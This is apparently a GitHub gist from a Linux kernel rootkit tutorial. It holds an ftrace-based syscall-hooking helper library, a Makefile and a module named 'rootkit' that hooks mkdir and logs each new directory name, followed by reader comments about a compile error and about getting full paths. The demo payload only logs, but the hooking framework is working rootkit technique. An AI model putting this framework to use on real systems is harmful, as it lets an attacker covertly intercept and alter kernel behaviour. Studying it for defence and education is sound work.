-
-
Save xcellerator/ac2c039a6bbd7782106218298f5e5ac1 to your computer and use it in GitHub Desktop.
| /* | |
| * Helper library for ftrace hooking kernel functions | |
| * Author: Harvey Phillips (xcellerator@gmx.com) | |
| * License: GPL | |
| * */ | |
| #include <linux/ftrace.h> | |
| #include <linux/linkage.h> | |
| #include <linux/slab.h> | |
| #include <linux/uaccess.h> | |
| #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) | |
| #define PTREGS_SYSCALL_STUBS 1 | |
| #endif | |
| /* x64 has to be special and require a different naming convention */ | |
| #ifdef PTREGS_SYSCALL_STUBS | |
| #define SYSCALL_NAME(name) ("__x64_" name) | |
| #else | |
| #define SYSCALL_NAME(name) (name) | |
| #endif | |
| #define HOOK(_name, _hook, _orig) \ | |
| { \ | |
| .name = SYSCALL_NAME(_name), \ | |
| .function = (_hook), \ | |
| .original = (_orig), \ | |
| } | |
| /* We need to prevent recursive loops when hooking, otherwise the kernel will | |
| * panic and hang. The options are to either detect recursion by looking at | |
| * the function return address, or by jumping over the ftrace call. We use the | |
| * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by | |
| * setting it to 1. (Oridinarily ftrace provides it's own protections against | |
| * recursion, but it relies on saving return registers in $rip. We will likely | |
| * need the use of the $rip register in our hook, so we have to disable this | |
| * protection and implement our own). | |
| * */ | |
| #define USE_FENTRY_OFFSET 0 | |
| #if !USE_FENTRY_OFFSET | |
| #pragma GCC optimize("-fno-optimize-sibling-calls") | |
| #endif | |
| /* We pack all the information we need (name, hooking function, original function) | |
| * into this struct. This makes is easier for setting up the hook and just passing | |
| * the entire struct off to fh_install_hook() later on. | |
| * */ | |
| struct ftrace_hook { | |
| const char *name; | |
| void *function; | |
| void *original; | |
| unsigned long address; | |
| struct ftrace_ops ops; | |
| }; | |
| /* Ftrace needs to know the address of the original function that we | |
| * are going to hook. As before, we just use kallsyms_lookup_name() | |
| * to find the address in kernel memory. | |
| * */ | |
| static int fh_resolve_hook_address(struct ftrace_hook *hook) | |
| { | |
| hook->address = kallsyms_lookup_name(hook->name); | |
| if (!hook->address) | |
| { | |
| printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name); | |
| return -ENOENT; | |
| } | |
| #if USE_FENTRY_OFFSET | |
| *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; | |
| #else | |
| *((unsigned long*) hook->original) = hook->address; | |
| #endif | |
| return 0; | |
| } | |
| /* See comment below within fh_install_hook() */ | |
| static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) | |
| { | |
| struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); | |
| #if USE_FENTRY_OFFSET | |
| regs->ip = (unsigned long) hook->function; | |
| #else | |
| if(!within_module(parent_ip, THIS_MODULE)) | |
| regs->ip = (unsigned long) hook->function; | |
| #endif | |
| } | |
| /* Assuming we've already set hook->name, hook->function and hook->original, we | |
| * can go ahead and install the hook with ftrace. This is done by setting the | |
| * ops field of hook (see the comment below for more details), and then using | |
| * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions | |
| * provided by ftrace.h | |
| * */ | |
| int fh_install_hook(struct ftrace_hook *hook) | |
| { | |
| int err; | |
| err = fh_resolve_hook_address(hook); | |
| if(err) | |
| return err; | |
| /* For many of function hooks (especially non-trivial ones), the $rip | |
| * register gets modified, so we have to alert ftrace to this fact. This | |
| * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also | |
| * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because | |
| * the built-in anti-recursion guard provided by ftrace is useless if | |
| * we're modifying $rip. This is why we have to implement our own checks | |
| * (see USE_FENTRY_OFFSET). */ | |
| hook->ops.func = fh_ftrace_thunk; | |
| hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS | |
| | FTRACE_OPS_FL_RECURSION_SAFE | |
| | FTRACE_OPS_FL_IPMODIFY; | |
| err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); | |
| if(err) | |
| { | |
| printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); | |
| return err; | |
| } | |
| err = register_ftrace_function(&hook->ops); | |
| if(err) | |
| { | |
| printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err); | |
| return err; | |
| } | |
| return 0; | |
| } | |
| /* Disabling our function hook is just a simple matter of calling the built-in | |
| * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the | |
| * opposite order to that in fh_install_hook()). | |
| * */ | |
| void fh_remove_hook(struct ftrace_hook *hook) | |
| { | |
| int err; | |
| err = unregister_ftrace_function(&hook->ops); | |
| if(err) | |
| { | |
| printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err); | |
| } | |
| err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); | |
| if(err) | |
| { | |
| printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err); | |
| } | |
| } | |
| /* To make it easier to hook multiple functions in one module, this provides | |
| * a simple loop over an array of ftrace_hook struct | |
| * */ | |
| int fh_install_hooks(struct ftrace_hook *hooks, size_t count) | |
| { | |
| int err; | |
| size_t i; | |
| for (i = 0 ; i < count ; i++) | |
| { | |
| err = fh_install_hook(&hooks[i]); | |
| if(err) | |
| goto error; | |
| } | |
| return 0; | |
| error: | |
| while (i != 0) | |
| { | |
| fh_remove_hook(&hooks[--i]); | |
| } | |
| return err; | |
| } | |
| void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) | |
| { | |
| size_t i; | |
| for (i = 0 ; i < count ; i++) | |
| fh_remove_hook(&hooks[i]); | |
| } |
| obj-m += rootkit.o | |
| all: | |
| make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules | |
| clean: | |
| make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean |
| #include <linux/init.h> | |
| #include <linux/module.h> | |
| #include <linux/kernel.h> | |
| #include <linux/syscalls.h> | |
| #include <linux/version.h> | |
| #include <linux/namei.h> | |
| #include "ftrace_helper.h" | |
| MODULE_LICENSE("GPL"); | |
| MODULE_AUTHOR("TheXcellerator"); | |
| MODULE_DESCRIPTION("mkdir syscall hook"); | |
| MODULE_VERSION("0.01"); | |
| #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) | |
| #define PTREGS_SYSCALL_STUBS 1 | |
| #endif | |
| #ifdef PTREGS_SYSCALL_STUBS | |
| static asmlinkage long (*orig_mkdir)(const struct pt_regs *); | |
| asmlinkage int hook_mkdir(const struct pt_regs *regs) | |
| { | |
| char __user *pathname = (char *)regs->di; | |
| char dir_name[NAME_MAX] = {0}; | |
| long error = strncpy_from_user(dir_name, pathname, NAME_MAX); | |
| if (error > 0) | |
| printk(KERN_INFO "rootkit: trying to create directory with name: %s\n", dir_name); | |
| orig_mkdir(regs); | |
| return 0; | |
| } | |
| #else | |
| static asmlinkage long (*orig_mkdir)(const char __user *pathname, umode_t mode); | |
| asmlinkage int hook_mkdir(const char __user *pathname, umode_t mode) | |
| { | |
| char dir_name[NAME_MAX] = {0}; | |
| long error = strncpy_from_user(dir_name, pathname, NAME_MAX); | |
| if (error > 0) | |
| printk(KERN_INFO "rootkit: trying to create directory with name %s\n", dir_name); | |
| orig_mkdir(pathname, mode); | |
| return 0; | |
| } | |
| #endif | |
| static struct ftrace_hook hooks[] = { | |
| HOOK("sys_mkdir", hook_mkdir, &orig_mkdir), | |
| }; | |
| static int __init rootkit_init(void) | |
| { | |
| int err; | |
| err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); | |
| if(err) | |
| return err; | |
| printk(KERN_INFO "rootkit: loaded\n"); | |
| return 0; | |
| } | |
| static void __exit rootkit_exit(void) | |
| { | |
| fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); | |
| printk(KERN_INFO "rootkit: unloaded\n"); | |
| } | |
| module_init(rootkit_init); | |
| module_exit(rootkit_exit); |
I tried this but below is what am getting
peter@peter-VirtualBox:/Documents/first_Rootkit_kernel$ make/Documents/first_Rootkit_kernel$
make -C /lib/modules/5.15.0-46-generic/build M=/home/peter/Documents/first_Rootkit_kernel modules
make[1]: Entering directory '/usr/src/linux-headers-5.15.0-46-generic'
CC [M] /home/peter/Documents/first_Rootkit_kernel/rootkit.o
In file included from /home/peter/Documents/first_Rootkit_kernel/rootkit.c:8:
/home/peter/Documents/first_Rootkit_kernel/ftrace_helper.h: In function ‘fh_install_hook’:
/home/peter/Documents/first_Rootkit_kernel/ftrace_helper.h:112:20: error: assignment to ‘ftrace_func_t’ {aka ‘void (*)(long unsigned int, long unsigned int, struct ftrace_ops *, struct ftrace_regs )’} from incompatible pointer type ‘void ()(long unsigned int, long unsigned int, struct ftrace_ops *, struct pt_regs *)’ [-Werror=incompatible-pointer-types]
112 | hook->ops.func = fh_ftrace_thunk;
| ^
cc1: some warnings being treated as errors
make[2]: *** [scripts/Makefile.build:297: /home/peter/Documents/first_Rootkit_kernel/rootkit.o] Error 1
make[1]: *** [Makefile:1881: /home/peter/Documents/first_Rootkit_kernel] Error 2
make[1]: Leaving directory '/usr/src/linux-headers-5.15.0-46-generic'
make: *** [Makefile:4: all] Error 2
peter@peter-VirtualBox:
______________________________________________________________----
can anyone help out
Hi,
I love your articles.
Any possibility to get the parent inode where the new directory will be attached ? I'd really like to be able to have the full path from this hook. Any tips ?
All the best,
Orkblutt